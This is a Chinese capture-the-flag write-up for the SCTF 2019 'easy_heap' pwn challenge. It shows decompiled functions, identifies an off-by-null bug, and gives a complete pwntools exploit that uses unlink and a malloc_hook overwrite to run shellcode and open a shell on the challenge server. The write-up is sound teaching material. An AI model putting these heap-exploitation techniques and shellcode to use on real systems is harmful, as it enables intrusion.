

easy_heap

发表于 2021-01-04 分类于 [Challenge](#) , [2019](#) , [SCTF](#) , [Pwn](#)
[Challenge](#) | [2019](#) | [SCTF](#) | [Pwn](#) | [easy_heap](#)

[点击此处](#)获得更好的阅读体验

解题思路

这个题主要是在offbynull上，题目如果预期解是house of orange的话这个题就复杂了很多但是其实用unlink解就容易多了。

静态分析

main

主要实现了功能

```
1 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
2 {
3     unsigned int v3; // [rsp+14h] [rbp-Ch]
4     unsigned __int64 v4; // [rsp+18h] [rbp-8h]
5     v4 = __readfsqword(0x28u);
6     v3 = 0;
7     sub_CD0();
8     while ( 1 )
9     {
10         while ( 1 )
11         {
12             menu();
13             __isoc99_scanf(&unk_12A8, &v3);
14             if ( v3 != 2 )
15                 break;
16             del();
17         }
18         if ( v3 > 2 )
19         {
20             if ( v3 == 3 )
21             {
22                 fill();
23             }
24             else
25             {
26                 if ( v3 == 4 )
27                     exit(0);
28 LABEL_13:
29                 puts("Invalid choice!");
30             }
31         }
32         else
33         {
34             if ( v3 != 1 )
35                 goto LABEL_13;
36             add();
37         }
38     }
39 }
```

del

正常的一个删除函数

```

1 int del()
2 {
3     void *v0; // rax
4     unsigned int v2; // [rsp+Ch] [rbp-4h]
5     printf("Index: ");
6     v2 = sub_EE5();
7     if ( v2 <= 0xF && qword_202060[2 * v2 + 1] )
8     {
9         free(qword_202060[2 * v2 + 1]);
10        qword_202060[2 * v2 + 1] = 0LL;
11        qword_202060[2 * v2] = 0LL;
12        v0 = &unk_202040;
13        --unk_202040;
14    }
15    else
16    {
17        LODWORD(v0) = puts("Invalid index.");
18    }
19    return (signed int)v0;

```

fill

这里存在一个off by null的漏洞是可以利用的

```

1 int fill()
2 {
3     unsigned int v1; // [rsp+4h] [rbp-Ch]
4     printf("Index: ");
5     v1 = sub_EE5();
6     if ( v1 > 0xF || !qword_202060[2 * v1 + 1] )
7         return puts("Invalid index.");
8     printf("Content: ");
9     return input((__int64)qword_202060[2 * v1 + 1], (unsigned __int64)qword_202060[2 * v1]);
10 }

```

思路分析

1. 进行一个unlink控制全局变量，这题还有别的解法就是off by null来unlink或者largebin attack 去控制和写入mmap的内存
2. 写入mmap内存为shellcode然后利用fastbin attack 改写malloc_hook

这里的方法细节是在bss段构造一个fakechunk然后free进入unsortedbin 会有libc地址残留在指针处，然后改指针的低位，就可以malloc到需要的地方，然后改malloc_hook为one就可以了。

EXP

```

1 from pwn import*
2 context.arch = "amd64"
3 context.log_level = "debug"
4 #p = process("./easy_heap")#,env={"LD_PRELOAD":"./libc.so.6"})
5 a = ELF("./easy_heap")
6 e = a.libc
7 print hex(e.symbols["puts"])
8 p = remote("132.232.100.67",10004)
9 #gdb.attach(p)#,"b *0x5555555554a0")
10 def add(size):
11     p.recvuntil(">>> ")
12     p.sendline("1")
13     p.recvuntil("Size: ")
14     p.sendline(str(size))
15 def remove(idx):
16     p.recvuntil(">>> ")
17     p.sendline("2")
18     p.recvuntil("Index: ")
19     p.sendline(str(idx))
20 def edit(idx,content):
21     p.recvuntil(">>> ")
22     p.sendline("3")
23     p.recvuntil("Index: ")
24     p.sendline(str(idx))
25     p.recvuntil("Content: ")
26     p.sendline(content)
27 p.recvuntil("Mmap: ")
28 mmap_addr = int(p.recvuntil("\n",drop=True),16)
29 print hex(mmap_addr)
30 add(0xf8)
31 p.recvuntil("Address 0x")
32 addr = int(p.recvline().strip(),16) - 0x202068
33 add(0xf8)
34 add(0x20)
35 edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0))
36 remove(1)
37 edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr))
38 edit(1,asm(shellcraft.sh()))
39 bss_addr = 0x202040
40 edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5)
41 remove(1)
42 edit(0,p64(0)*3+p64(0x100)+'\x10')
43 edit(3,p64(mmap_addr))
44 add(0x20)
45 p.interactive()

```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2019/SCTF/Pwn/of/Xoq2TpGBw9D5ASXjb6xS.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[#Challenge #Pwn #2019 #SCTF](#)

[签到题](#)

[easywasm](#)